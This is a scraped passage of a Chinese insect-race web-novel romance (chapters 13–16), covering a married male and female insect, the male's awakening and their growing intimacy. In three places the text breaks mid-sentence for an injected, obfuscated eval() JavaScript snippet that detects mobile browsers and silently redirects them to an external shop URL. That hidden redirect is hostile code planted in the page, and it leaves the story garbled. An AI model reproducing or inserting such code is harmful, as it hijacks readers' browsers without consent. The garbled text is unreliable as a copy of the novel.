赫尔辛斯下意识将手放在小腹上,“当然,我也是一只雌虫。” “书上说它是一个器官,为什么要叫纹?是包裹在皮肤里面吗?”索涅看着赫尔辛斯捂住的地方。 “……不,”赫尔辛斯喉咙动了动,微微靠近雄虫,“您,想看看吗?” 索涅用一种奇怪的眼神看着他,“这不是私密部位吗?” 赫尔辛斯:“是……是的,当然,为了学习。” 他心里暗自可惜,应该在雄虫开始好好学习之前再亲密一点的,雄虫现在懂得多了不好忽悠了。 赫尔辛斯轻咳一声,静下心给雄虫描述虫纹的存在原理,他要给索涅找视频和图片,雄虫连忙按住。 “我不看!”索涅抗拒,虫纹就在脐下,他对着图研究也太诡异了。 “文字描述应该够用吧?我又不考医学生。” 赫尔辛斯眼里笑意浓厚,“当然,如果您能够理解就完全够用了。” 雌虫给他讲完就回去继续工作,索涅有点心不在焉地瞥了雌虫的小腹好几眼。 赫尔辛斯的身体构造和他是不同的,平时他意识不到,但此时就有点好奇地按捺不住。 雌虫怎么怀蛋?听说信息素会刺激到虫纹,他可以记住那些理论,但脑子里人类的科学知识在和虫族的知识疯狂互殴,索涅无意识地盯着雌虫的肚子发起了呆。 赫尔辛斯已经有几分钟没动了,但雄虫竟然依旧在发呆。 他顺着雄虫的目光,很轻易就能猜出对知识一知半解的雄虫在想什么。 他的雄虫需要一些实践。 赫尔辛斯怀着一抹小小的促狭,突然出声:“您想摸吗?” “摸?!”索涅猛地回过神,傻眼,“摸什么?” 雌虫笑了一下,指尖撩起衣摆,“这里,您一直在看。” 索涅有些尴尬,“我……我在想别的,走神而已。” “是吗?”赫尔辛斯垂眸,“那您不想看?” 索涅的喉结无声地动了动。 “赫尔辛斯,我怎么感觉,你在引诱我。” 赫尔辛斯:“……”被发现了。 “您需要学习,”他强调,“实践是学习最有效的途径。” “整句话我都同意,”索涅说,“但语境太诡异了。” “……其实没什么,只是一小片有花纹的皮肤而已,不会让您太过排斥。”赫尔辛斯说,“一切以您的意愿为主。” 对方在后退,可索涅感觉自己被向悬崖推了一下。 完了,承认吧,他真很好奇,很想看。 最初见面,赫尔辛斯的虫纹在发光,给他唯物主义的世界观带来一点小小的震撼,但现在告诉他这是科学的,索涅愈发想看到卿卿真容。 “我可以……看看吗?”他一句三顿,耳朵悄无声息变得绯红,“不摸,我就看看。” 说完把自己呛了一下,怎么这么像某种“我就蹭蹭绝不进去”的失信男语录。 赫尔辛斯被他突然的同意弄得怔了一下,指尖滑进衣物里,依稀可见草莓牛奶一样的肤色。 “当然可以,请稍等。” 他修长的手指放在裤腰上,向下拨了拨腹部的裤子,撩起衣摆用牙齿咬住,大片光滑细腻的粉白皮肤霎时露在索涅眼前。 雌虫的腹部有八块形状优美的小面包,看起来很柔软手感一级棒,一定是一戳一个窝窝。 索涅很没出息地摸了摸自己的腹部。 他虽然没有八块小腹肌,但好在也没有一块大腹肌。 “请您靠近一点。”雌虫轻声说。 索涅连忙挪过去,离雌虫非常近,胳膊贴着胳膊。 赫尔辛斯的衣服都是他买的,这件白色的四角裤无比眼熟,就是他那天手贱拆出来的。 索涅天马行空地想着,看到雌虫一把拉下裤头,露出微微鼓起一点的小腹。 是金色的。 华丽的,纠纠缠缠的藤枝花纹,左右各两只,对称地缠绕在一起,上端向上捧着雌虫的腹部,尾端向下延伸进幽深的衣物里。 这花纹印在赫尔辛斯的身上,索涅越来越觉得雌虫像一只神秘圣洁的天使。 但天使应该是不会拉着他的手,再次试探他要不要摸摸看的。 索涅:“……” 说实话,蠢蠢欲动。 他克制住自己的爪子。 “赫尔辛斯你怎么老试探我,万一我真的上手怎么办?”索涅抱怨他。 他一根筋的脑子突然灵光一闪。 “你不会,”索涅瞪大眼,“就是真的想让我摸吧?” 赫尔辛斯松开唇间咬着的衣服,再次试探的结果让他泄气。 还以为雄虫对他有所意动,结果雄虫只是简单的好奇心作祟而已。 他太着急了吗? 还是根本在做一件不可能的事? “不论您的想法如何,都以您的意愿为准。”赫尔辛斯模棱两可地回答。 他看起来兴致不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464235|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高,索涅也没有再接着问,可心里有了这个想法就很难不去刻意观察。 越是观察,他心里越是没底。 赫尔辛斯有时候完全把他当兄弟似的,有时候又目光柔软含情脉脉地注视着他。 索涅都快被两种猜测弄得人格分裂的时候,来了两个不速之客。 雄保会监督员来查看他和赫尔辛斯的下蛋进度。 他们们来的时候,索涅恰好翻到虫族的卵生方式,不到巴掌大的蛋能长成两米的虫子?! 赫尔辛斯就在他旁边,索涅看着雌虫窄瘦的腰肢,又觉得虫蛋这东西还是太大了。 他无法想象长得和男人一样的赫尔辛斯会生出一枚蛋。 “索涅阁下,十五天过去了,我们特地来恭喜您挑到满意的雌奴,顺便问问您,怀上蛋了吗?”一只雄虫问。 “没有,我们会继续努力的。”索涅睁眼说瞎话。 “这可不行,效率太低了,多生几枚蛋才有更大的可能得到雄蛋,是不是他不够配合?”雄虫打量的眼神落在赫尔辛斯身上。 “我决心厚积薄发,一发入魂直接生个雄蛋,”索涅胡编乱造道,“生得多了我也养不起,你们雄保会帮我养?” 这生得多说的当然是雌蛋,雄虫们连忙拒绝,“我们只是例行来看看情况,没什么事就先走了,这些小礼物你收下,用得着。” 赫尔辛斯几乎瞬间就猜到了小礼物是什么。 索涅意思意思道了个别,扭头就看到赫尔辛斯正在和礼物盒子对峙。 “你喜欢?那你拿走吧。”索涅当即把盒子塞进他怀里,“他们说的话别往心里去,我和你的约定一直都有效。” “赫尔辛斯,我们会是很好的朋友。”索涅强调。 他看着雌虫的眼睛。 赫尔辛斯眸光闪烁,雄虫似乎知道了。 但对方没有拆穿。 “……我会记得,您的约定。”他最终说道。 索涅笑了一下,“那就好。” “你会有更好的生活,赫尔辛斯。” 雨声变得更大了,无情地冲刷着深秋脆弱的树叶,索涅看到地上已经铺满厚厚一层落叶。 他坐回书桌整理自己的笔记,心间却一时静不下来。 他在说什么乱七八糟的,万一雌虫压根对他没有那个意思,岂不是贻笑大方了?毕竟他没情商没智商没武力没钱没地位,连生理条件都不达标,还是个死宅。 他偷偷地余光瞥过去,赫尔辛斯安静地坐在那儿,看起来一切如常,手上几乎快出残影,不知道在做什么。 沉沉乌云依旧笼罩着这片区域,但星球的大气层之外,广袤的星空寂静无声,一艘梭形星舰正悬停在ZY003附近,然而星航警报没有任何反应。 “去去去!滚一边儿去!老大都说了你的办法行不通!让我来!老大我有好几个绝美的表白方式,绝对可以把雄虫迷得分不清东西南北!” 星舰内部休息厅吵成一锅粥,巨大的钴蓝色光屏浮在半空,一段段文字不断地滚动着。 “你那些老掉牙的土方还敢拿出来说?小心笑掉雄虫的大牙!”一只雌虫冷哼道,“还是应该看我的,让老大给雄虫阁下打一笔钱,不是正缺钱吗?” “老大都说了那位阁下警惕性很强,再说了我们有那么多钱吗?再再说了,雄虫还完钱就会和老大离婚,你他大爷是不是傻!”刚开始的雌虫反驳得更大声。 “不就是三千万吗?咱们几个凑凑还能不够?”另一只雌虫不信。 “还真不够,那位阁下要带老大离开ZY003,一张票就要九千万!把我们几个裤衩扒了都不够!” “……想不到我堂堂一代奸商穷成现在这样。”一只雌虫感叹。 他们正吵的激烈,老大又发过来一条消息: “你们有想做的就去做,别把自己玩死就行,我和雄主自有安排。” “……老大真是见色忘义。” 其他虫难得一致地点点头。 14. 精神力觉醒 夜幕完全落下的时候,这场大雨终于渐渐停息。 索涅又煮了西红柿鸡蛋面,接连几次都吃同一种东西,赫尔辛斯看起来完全没意见。 “我只会做这个,”雌虫要去洗碗,索涅夺过碗勺塞进洗碗机,“别洗碗了,你有更重要的事情要做。” “什么事?”赫尔辛斯被他推出厨房。 “帮我制定一个锻炼计划,你看我的胳膊,”索涅撩起袖子,“细得都能一手掰断。” “可我只训练过雌虫,”赫尔辛斯皱起眉,“您不需要变得多么强壮,会有很多虫愿意保护您。” “我不需要别的虫保护,事事都靠别的虫子,多别扭啊,”索涅甚至一手就能圈住自己脚腕,“我更想自己保护自己。” 赫尔辛斯的眼神就像猫咪的尾巴,蓬松柔和地落在索涅身上,“如您所愿,不过我得先知道您的身体数据。” “身高、体重、肌肉量,”赫尔辛斯用观察着他的身体,“我可以摸摸您的腰吗?” 索涅:“?”很冒昧的要求啊虫虫。 大概是索涅眼神里的疑惑意味太浓了,赫尔辛斯不得不为自己解释:“我可以通过您皮肤的柔软度估计您的肌肉量。” 索涅有些尴尬,“我没想别的。” “嗯,您没想。” 索涅:“……” 他缓缓地站到雌虫面前,扬起手臂。 赫尔辛斯微微靠近他,他只有一只手可以动,雄虫的腰腹左右各摸了一遍。 家居服并不厚实,手指的温度透过衣服传到皮肤上,雌虫每轻轻地捏一下,索涅的耳朵颜色就深一分。 赫尔辛斯将雄虫皮肤的展现记在心里,“您的肌肉量已经是雄虫里的佼佼者。” “不像是什么好话,”索涅顶着一双红耳朵放下手臂,“赫尔辛斯,你的左肩真的这么包着就能好吗?” “里面涂抹了骨原基液,结合雌虫的自愈能力,大概一个月可以长出新骨,到时候就可以正常工作了。” 索涅忍不住戳了戳他完好的右肩,没好气:“急什么!先好好养着。” “真神奇,”他感叹,“雌虫是完美的生物。” 雄虫稚嫩的面容为这句话增添了一抹单纯和真诚,赫尔辛斯却勾起唇,“不,雌虫有致命的缺点。” 索涅也沉默住了,他确实习惯性忽略了精神域这种隐匿在暗处的东西。 “赫尔辛斯,虫族这么发达的科技,除了精神抚慰剂和雄虫,真的没有别的方法吗?”索涅一直抱有怀疑。 “精神力是第四维度的物质,”赫尔辛斯轻轻摇头,“三维生物能够拥有已经是自然的宠爱,当然也伴随着时时刻刻的身体损伤,精神域是联盟的永恒研究项目,但进展聊胜于无。” “不过还是感谢您的慷慨,您的信息素等级应该非常高,对治疗精神域副伤害很有效果。” 赫尔辛斯的话让索涅懵了,“什么信息素?我一直找不到我的信息素在哪儿。” 他还以为自己把这具身体搞故障了,其实精神力他也没找到。 “您不知道?”赫尔辛斯蹙起眉,“您的成年引导应该——”他顿住。 “您还没有成年?!!!”赫尔辛斯震惊地看着索涅。 索涅挠了挠耳朵,“我二十岁了。” “不,联盟对于成年的定义是精神力和信息素全部觉醒,不是年龄,”赫尔辛斯看着雄虫的额头,“我可以看看您的精神域吗?” 索涅连忙弯下腰,雌虫将额头与他相抵。 这靠的也太近了,索涅不自在地看着雌虫的鼻尖,突然感觉脑袋一胀,好像有什么东西钻进去了。 “您对我真是信任。”赫尔辛斯说。 索涅搞不懂,他什么也没做啊。 几分钟之后,赫尔辛斯告诉索涅:“您确实还没有进行精神力觉醒,这可能是某种特殊情况,一般精神力觉醒后信息素才会觉醒,您的情况显然相反。” 索涅:“所以我其实还没成年?” “是的,”赫尔辛斯说,眼睛里有担忧的情绪,“但是也即将成年,您的精神域十分庞大,我们得早做准备。” 事实上他被震惊到了,索涅作为一只E级雄虫,精神域壁垒的厚度却远远超过他,但里面盘固的精神丝数量却不多。 只有少数精神丝保持活跃状态,大概这就是雄虫等级这么低的原因。 赫尔辛斯的目光一时复杂。 这种类型的精神域,索涅究竟是…… “庞大?”索涅按着自己的太阳穴,他已经学过一些皮毛,知道这个词在雄虫身上并不常见。 “我是怎么了?我是不是有病?”他敲了敲自己的脑壳,被赫尔辛斯一把握住手腕,雌虫的模样有些严肃,索涅安静下来。 “雄虫觉醒是最为关键的时期,您需要一只成年雌虫的引导,我申请和您一起睡,方便随时观察您的状态。” “……有那么危险吗?”出于某种原因,索涅有所犹豫。 “觉醒时您会很快失去意识,被野性所控制,不是没有发生自残的例子。”赫尔辛斯这次格外坚持。 “那岂不是会伤害到你?不行!”索涅反而坚定地拒绝了。 雌虫笑了,“我认为,我还是有自保的能力的。” 索涅:“……”赫尔辛斯是可以一只手把他摁地上摩擦。 “本来已经很忙了,这么这时候又出这种事……”他泄气地瘫在沙发上,有一搭没一搭地轻轻踢着雌虫的轮椅。 “赫尔辛斯,我是不是个大累赘?总是有事麻烦你。”索涅前世从小到大都是很独立的性格,在虫族却几乎事事都需要赫尔辛斯帮忙。 “但我认为,”赫尔辛斯大部分时间目光都在他身上,沉静如水,“这是一种羁绊,是我的荣幸。” 索涅耳朵一红,他若无其事地摸了摸耳廓,“你们雌虫嘴巴都这么甜吗?随随便便就能说一些腻歪话。” 赫尔辛斯垂眼,纤长的眼睫耷拉在眼睑上,“我不知道其他雌虫,但如果您这么觉得,那我的嘴巴应该是甜的,。” 他复又抬起头看着索涅,目光湿润温柔。 索涅:“……” 他的脸也慢慢地红了。怎么感觉自从他似是而非地划界线之后,雌虫反而越来越涩涩了? 他神奇地get到了雌虫的意思。 索涅心里暗骂自己怎么这副怂鬼样子,他清了清嗓子,“赫尔辛斯,朋友和朋友是不能啃嘴巴的。” 赫尔辛斯微笑:“补充条约也是无效的。” 索涅:“?” “况且我们已经啃过一次了。” “赫尔辛斯!”索涅想求他别说了,躺在沙发上背对着雌虫,想不清话题是怎么拐到这儿的。 但…… 好吧,他那晚确实和一个男人啃了嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464236|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴。 不对,他是被一个男人啃了嘴巴! 想到这儿索涅浑身难受,嘴唇上似乎又传来那种湿漉漉热腾腾的触感,弄得他想抠一抠自己的嘴皮子。 他这儿钻起牛角尖,雌虫唇角含着一丝笑意,切了一些水果放在桌上。 “您或许该睡觉了。”赫尔辛斯提醒道。 索涅一顿,缓缓地从牛角尖里爬出来,吃了两块后把剩下的塞进雌虫嘴里。他刚想上楼休息,却听赫尔辛斯叫住了他。 “或许,您可以开始第一次的锻炼了,劳烦您。” 雌虫微微歪着头,顺滑的金发滑落肩膀。 索涅后知后觉地长叹一声,捞起虫虫抱上二楼,放在自己卧室的床上,他去拿轮椅,上来就看到雌虫正站在床边整理枕头。 很少见赫尔辛斯站起,他不由地停在门口,欣赏着雌虫逆天的身材比例。 太完美了,生物学奇迹。 赫尔辛斯看到雄虫站在门口不进来,动作一顿,不露痕迹地坐回床上。 “您需要更暖和的被子,冬天快要来了。”他找了个话题。 “不是有空调吗?”索涅终于走进来,赫尔辛斯眸光一闪。 “不排除故障的微小可能。”他说。 “你说得对,是得防患于未然。”索涅把轮椅放到一边,看到赫尔辛斯在他转身的功夫挪到了沙发上。 “你干嘛?还不困?”他奇怪地问。 赫尔辛斯一怔,眼中划过一道亮光,从容地拿出手环点了两下,见雄虫躺到床上,立刻关掉手环。 他还以为以索涅对他的距离感,会不愿意和他一起睡。再说他到底是雌奴,没道理和雄虫睡在一张床上。他早已准备好在沙发或地毯上睡一晚。 但既然不谙世事的雄虫给了这个机会,那他绝不可能放过。 灯光熄灭,室内陷入一片昏暗。 索涅悄悄地向外挪了挪,双手不自在地互相抠着。 他旁边躺了一个男人,一个有婚姻关系,并且觊觎他的男人。 不对,是一只虫虫。 赫尔辛斯呼吸的声音非常轻,但存在感强到离谱,困到迷迷糊糊间,索涅甚至感觉自己听见了雌虫血液流动的声音。 怎么会这么热呢…… “雄主……雄主……索涅……您怎么样了?” 索涅迷糊地睁开眼,咳嗽了两声,“赫尔辛斯,怎么这么热?空调果然故障了……还是我发烧了?” “不,您觉醒了。”雌虫为他擦去汗珠,柔声说。 索涅:“……这么快啊,那我现在应该怎么办?” 他热糊涂的脑子都不允许他震惊了。 雌虫一直在给他擦汗,安抚地抚摸着他的头发。 好难受……好热……牙齿怎么这么痒……他快要爆炸了! “请您张开嘴。”赫尔辛斯将营养液抵在雄虫唇边。 索涅也想张,但他控制不了自己的身体了。 甚至连发声都做不到。 他不知道自己的眼睛已经蒙上一片血红,徒劳地看着赫尔辛斯,希望雌虫可以掰开他的嘴直接灌进去。 好饿啊……拜托直接灌进来吧,他快饿疯了…… 一个柔软的东西贴上他的唇。 索涅的灵魂在燥热的躯壳里冷寂了。 赫尔辛斯他在……!!! 亲我???!!!! 15. 他是雌虫,不是男人! 温凉的营养液流进了他的胃,清凉和饱腹的感觉让索涅的身体陡然恢复知觉,他控制不住地唇舌贴紧赫尔辛斯,搜刮着所剩不多的食物。 他的一半灵魂在尖叫,有什么好亲的!!! 另一半灵魂不屑冷哼,低头堵住雌虫的嘴,柔软的唇肉被他叼在齿间噬咬。 索涅猛地抬起头。 不能再……要完蛋…… 身体血管鼓胀得仿佛要爆炸,他的眼角痛出一丝泪痕。 “赫尔辛斯……” 他握住雌虫的肩膀,却抓了一手空。 索涅的大脑瞬间降温,连忙缩回手。他的精神丝也跟着抖了抖,委屈地蜷缩起来。 雌虫发出一声轻微的叹息,动了动身体,搂住索涅的脖子,仰着头张开了唇。 索涅迷蒙地盯着雪白的齿锋,和深处若隐若现的嫣红的舌尖。 他缓缓地凑了上去…… 狂乱的梦境终结于现实。 当某个长条东西戳在他小腹,索涅浑身瞬间一紧,后脑勺头皮发麻。他想起来,却被一股柔和的力拉扯着。 雌虫的双腿勾着他的腰,索涅看到他泛着水意的苍金色双眸。长发扑洒在身后,领口的扣子崩掉了两颗,柔韧的肌肉随着心跳颤动。 这是赫尔辛斯。 他在心里默念。 赫尔辛斯,他是赫尔辛斯,是朋友,是男人,是一只虫子……不能……对,不能…… 但当那双湿润的眼睛紧紧地盯着他,索涅犹如被猛兽锁定,后背发凉的同时从心底蹿起一股邪火,烧得他只想再狠狠地咬一口泄愤。 平时不是手段很多吗!怎么这会儿只知道看他! 索涅的眼睛充血发红,烫得他头顶闷痛,他闭上眼,撑在雌虫身体上方,“赫尔辛斯。” “把我绑起来。” 雌虫的身体僵住了。 “……为什么?”信息素萦绕在鼻尖,赫尔辛斯的身体已经完全做好了准备,雄虫的话让他心尖缩成一团,“我们没有促发药剂,您需要一只引导者,闭上眼就好,看不见我长什么样子……” “……明天,一切恢复原状。” 索涅倾听着雌虫心跳的声音。 还有他自己激烈奔流的血液,正像一把铁刷子洗刷着全身上下所有血管,他能感觉到自己脑袋里有什么东西在缓缓地伸出,将面前的猎物和自己捆缚成一个茧。 “您看,您需要我。”雌虫戳了戳他用精神丝结成的牢笼,在他耳边轻声说。 有什么柔软纤细的东西,试探着同他脑袋里的东西握在一起。 一种奇妙的感觉,仿佛在心尖挠痒,刀尖起舞,烈火烹油。 索涅猛地睁开眼,与雌虫星辰般的眼睛分毫不差地对视。 他还不会控制,接触到猎物后精神丝瞬间顺藤摸瓜直入雌虫精神域,这里的大门为他敞开毫无保留。 破败的图景里寸草不生,广袤无垠的海面仿佛酝酿着一场巨型风暴,中心孤寂的小岛四分五裂,天空呈现末日般的紫黑,裂缝如同深渊般凝视着这片脆弱却坚固的图景。 “赫尔辛斯……”他喃喃,“不行……我治不好你,你应该……找更好的……” 赫尔辛斯垂眸,雄虫浑浑噩噩的模样落进他的视野。 他清晰地看到,精神丝不断地蜷曲舒展,无数新的丝线从凝固的基座醒来,犹如嗅到猎物的猛兽,迅速穿过两层壁障,遮天蔽日地降临赫尔辛斯的精神图景。 赫尔辛斯蹙起眉,感觉精神域有些发涨。 “更好的……”雄虫嘴里拒绝着他,却痛得抱紧了他的腰,甚至神智不清时还记得避开他的左肩。 雌虫笑了,又吻上他的唇。 “您就是最好的……”赫尔辛斯将雄虫搂进怀里,抚摸着他的头发。 “您不喜欢我,可以闭上眼睛。”赫尔辛斯声音低沉。 雌虫上半身大敞,索涅眼里一片春色。 他已然能看得清清楚楚,一切无所遁形,但心里的那股火却没有因为看清这具身体而停歇,反而烧得愈发旺盛, 这是赫尔辛斯,他不是男人…… 他看着那片漂亮艳丽的纹路。 ……这是一只雌虫。 一只雌虫喜欢我。 那我,喜欢这只雌虫吗? 在他挣扎的时候精神丝悄无声息地暴起,张牙舞爪地在雌虫精神域里伸展,信息素疯狂地侵入雌虫的虫纹和皮肤。 索涅脑袋胀痛,不禁抓紧床单。他放在赫尔辛斯腿边的手,却逐渐感受到一丝黏腻的潮湿。 他惊愕地抬起手,瞳孔骤缩,“这是什么?” 赫尔辛斯眼里闪过一丝不自在。 这当然是他的生殖腔腺液,但雄虫这么震惊地问出来,他也不好回答。 刚学过这些知识的索涅瞬间猜到了。他脑袋里“轰”的一声,彻底神鬼不清,精神丝迷失在那片破碎的岛屿…… 后半夜天空转晴,暴雨之后艳阳高照,根据气象预报,这将是秋天的最后一次反扑。 “三天后将迎来一次强大的寒潮,今年的冬季垂直降温,请注意保暖……” 很多虫子出来晒太阳散步,而中心区的某栋房子二楼,阳光被厚重的窗帘挡着,房间里昏暗如夜。 昨晚的窗帘是赫尔辛斯拉的,要是索涅,这会儿阳光已经从潦草的窗帘缝隙里投射进来。 索涅抱着他的腰睡得正香。 此情此景实在让他留恋,然而赫尔辛斯必须得起来了。昨晚雄虫被他喂了五只营养液,但他这会儿又感觉到雄虫的胃里在咕咕叫。 他叹了口气。 刚觉醒的雄虫,正需要充沛的能量,应该泡在营养仓里才对,但他们没有营养仓。 赫尔辛斯拨开雄虫额前散落的发丝,乌黑的头发显得雄虫的脸更加苍白,眉头还蹙在一起。 他用一根手指揉了揉雄虫的眉心,那团愁绪逐渐散开。 觉醒的胀痛和燥热往往会激起雄虫的兽性,赫尔辛斯几乎以为昨晚他会和索涅上|床,雄虫的尖牙都已经抵在他的舌尖。 但是没有。 在他被雄虫撩拨出反应之后,一切戛然而止。 赫尔辛斯已经明白了雄虫在讨厌什么,的确有些雄虫不喜欢雌虫有所享受,但他还是认为索涅不属于这一类。 不过此刻最重要的是另一件事。 接下来的一整天,赫尔辛斯给雄虫又喂了五只营养液。索涅的胃好似个无底洞,赫尔辛斯觉醒时吸收掉的营养液都没这么多。 索涅的身份他已经有所猜测,只是不知道这到底是意外,还是有虫子故意为之。 赫尔辛斯看着床上状况转好的雄虫,目光幽深。 不管如何,他要尽快好起来,才能保护好索涅。 雄虫这样的身份,如果是其他虫故意将他遗弃在这里,那觉醒后危险也将接踵而至,他身为索涅身边唯一的雌虫,对方还对他有救命之恩,他必须护住索涅。 可赫尔辛斯现在有种预感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464237|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果他恢复的速度赶不上雄虫成长的速度,他很可能成为雄虫的累赘。 他眯起眼,看着自己毫无知觉的左手。 快了,快了…… 昏暗的房间让其中生物不知年月,但身体的饥饿和干渴是最后的闹钟,将一只睡得天昏地暗的雄虫唤醒。 索涅睁大眼看着天花板的灯带,有点不知今夕何夕。 他慢慢地从床上坐起来,感觉酸软无力,犹如睡了几个世纪一样,头晕得他用力晃了晃脑袋。 “您醒了。”雌虫打开门,手里拿着几管营养剂。 “赫尔辛斯,”索涅的心定了定,“我觉醒成功了吗?” 赫尔辛斯浮起一抹笑意,“无比成功,恭喜您脱胎换骨。” “太夸张了啦,”索涅接过一只营养剂仰头吃掉,“我现在好像能感受到精神力了。” 一种难以形容的,玄之又玄的丝线正围绕在他身体周围,他伸出一根戳了戳赫尔辛斯的脸,感觉戳到了,但雌虫的皮肤并没有凹下去。 “您戳到的是我的精神域。”雌虫探出一根精神丝与好奇的雄虫玩耍,俯身摸了摸对方的额头。 “有点发烫,血液的躁动还未平息,您已经睡了四天,下床走一走会好得更快。”赫尔辛斯建议道。 “四天?!”索涅失声,“这么久?!” 他不敢相信,他能睡四天?! “觉醒还真不容易,”索涅捏了捏自己的胳膊,“要是没有你我可怎么办,等下,我怎么感觉我胖了?” 赫尔辛斯露出笑意,“您的愿望实现了一点点,身体的飞速代谢让您的身高和肌肉群都发生了变化。” “哇哦!”索涅赶紧从床上爬起来,站到门框边。 “没区别啊……”他并不太失望,因为他原来也不矮。 雌虫仔细地看着他,肯定道:“长了五到六厘米,您长大了。” 他眼里的欣赏让索涅有些不自在,雌虫带着他来到浴室。 索涅看着自己仿佛一夜之间褪去青涩的脸,感到一丝陌生。 “真是不可思议。”神奇的种族。 他脸上软软的婴儿肥彻底消失,黑白分明的眉眼间带着一丝冷淡和不耐烦。 赫尔辛斯心里感叹,以前顶多有点凶巴巴,现在的索涅看起来完全像个会要虫命的心狠手辣的家伙。 不过该死地性感。 索涅挺满意自己的厌世脸,他觉得能少很多麻烦。 “我想再吃一只。”他转过身看着赫尔辛斯。 一双透着狠意的三白眼渴望地看着他手里的营养剂,赫尔辛斯不禁失笑。 “我不会变成大胃王了吧?”索涅把雌虫推出浴室,一口吸掉一支营养剂。 “这是特殊情况,您需要很多能量,”赫尔辛斯又递给他一只,“明天就会恢复正常。” “那就好。”索涅松了口气。 营养剂这玩意儿五星币一支,他倒不是买不起,但之前一支都能顶一天,觉醒以后一天吃五只也太夸张了。 赫尔辛斯的眼神实在是太温和了,索涅莫名地感觉很不自在。 “你怎么了?”他问赫尔辛斯。 难道他睡着的时候有谁欺负了虫虫? 没等赫尔辛斯说话,索涅被营养剂糊住的脑子里突然闪过一副画面。 他趴在赫尔辛斯身上,边流氓地摸赫尔辛斯胸,边啃赫尔辛斯的嘴,表情十分陶醉。 索涅:“……”天老爷! 那是他吗? 16. 不愿意跟我生蛋 “您想起来了?”赫尔辛斯抽走雄虫手里的空管,看着他呆滞的神色。 “您不仅亲了我,还把舌头伸进我嘴里,摸我的胸口和虫纹,还摸着我的腺液,拿到我面前问我那是什么。” 索涅脸涨得通红,“求求你别说了……赫尔辛斯,我对不起你。” 雌虫面露诧异,“哪儿对不起我?您昨晚要是做到最后,我才求之不得。” 索涅:“……你现在不打算装了是吧?” 赫尔辛斯微笑:“您慧眼早就看出来了,我何必再装?” 索涅:“……赫尔辛斯,我以为我们的目标都是做朋友。” “我从来都不是。”赫尔辛斯说。 索涅捏了捏眉心,站在原地看着轮椅上的雌虫。 “赫尔辛斯,”他喉咙里仿佛梗着什么,“你也看到了,我真的对雌虫不行,昨晚是我冒犯了你,你说吧,该怎样才能补偿?要打要骂都随你,但我们不可能在一起。” 他说话时,赫尔辛斯渐渐地垂下眼帘,看着地板上的花纹。 要打要骂? 他轻轻地扯了扯嘴角。 “您不必介怀,既然您与我绝无可能,那……”他抬起眼,嘴唇蠕动着,“就当没发生过,反正也不是第一次了。” “您不欠我,昨晚我也得到了一些梳理。”他说完,转动轮椅,到床边收拾起索涅睡过的床铺。 索涅心中尴尬,他像个木偶一样过去搭手抢活儿,但雌虫动作格外利索,他插不进去手,没一会儿就整理好了。 “脏了的那些……你洗了?”索涅小心地问。 赫尔辛斯点头,“很抱歉弄脏了您的床单。” “不不不没关系!”索涅连忙摆手。 赫尔辛斯似乎叹了口气,自己推着轮椅出门去了。 “您桌上还有三只营养剂。”他说。 索涅下意识低头,拿起营养剂再看过去,雌虫已经不见了。 他看着手里的东西,心思一时复杂。 如果他是个同性恋,是不是情况会好得多? 他和赫尔辛斯,一定会很幸福地生活在一起,赫尔辛斯是非常完美的伴侣。 索涅心里发愁,事情走到这步田地,以后他要怎么和赫尔辛斯相处? 但是不管怎样,既然他能够为赫尔辛斯梳理,那总算有了一件好事。 索涅勉强将彼此间的尴尬压在心底,开始思考当前迫在眉睫的事情。雄保会不出一个月肯定还会来逼他们生蛋,蛋当然是不可能生的,但就怕他们采取什么对赫尔辛斯不利的措施。 他必须尽快带赫尔辛斯离开这颗星球,并且挣到三千万还债。尽管不太道德,但索涅还是决定暂时不放赫尔辛斯离开。 他不想去医疗中心卖身还钱。 索涅坐在床边一点点地捋着要做的事情,不禁一阵头疼。尤其是起来后发现整齐的床单被他坐出一个屁股印儿。 “……”唉。 他还是觉得赫尔辛斯值得更好的。 自己不过是一个虫不虫人不人的东西,像赫尔辛斯这样的虫虫,如果放在前世,他这种懒散边缘人根本接触不到。 索涅随意穿了一件外套,跟赫尔辛斯说了一声,出门在附近的大街上散起步。 他走着走着,看到前面一家衣服店,想起赫尔辛斯还缺厚衣服,并且他拔了个子后原来的衣服有些太短了,真是打瞌睡送枕头。 索涅走进去先问服务员亚雌:“今天有折扣吗?” 亚雌愣了一下,“有,有的。” 他第一次见到这么漂亮的雄虫独自出门,也是第一次见到问折扣的雄虫。 这是一家轻奢品牌,连袜子都要一百星币一双,索涅给自己挑了两件黑不溜秋的外套,然后到新品区仔细地一件件看过去。 亚雌一直跟在他旁边,见缝插针地介绍,热情洋溢:“这几件都很适合您,您要试穿一下吗?” 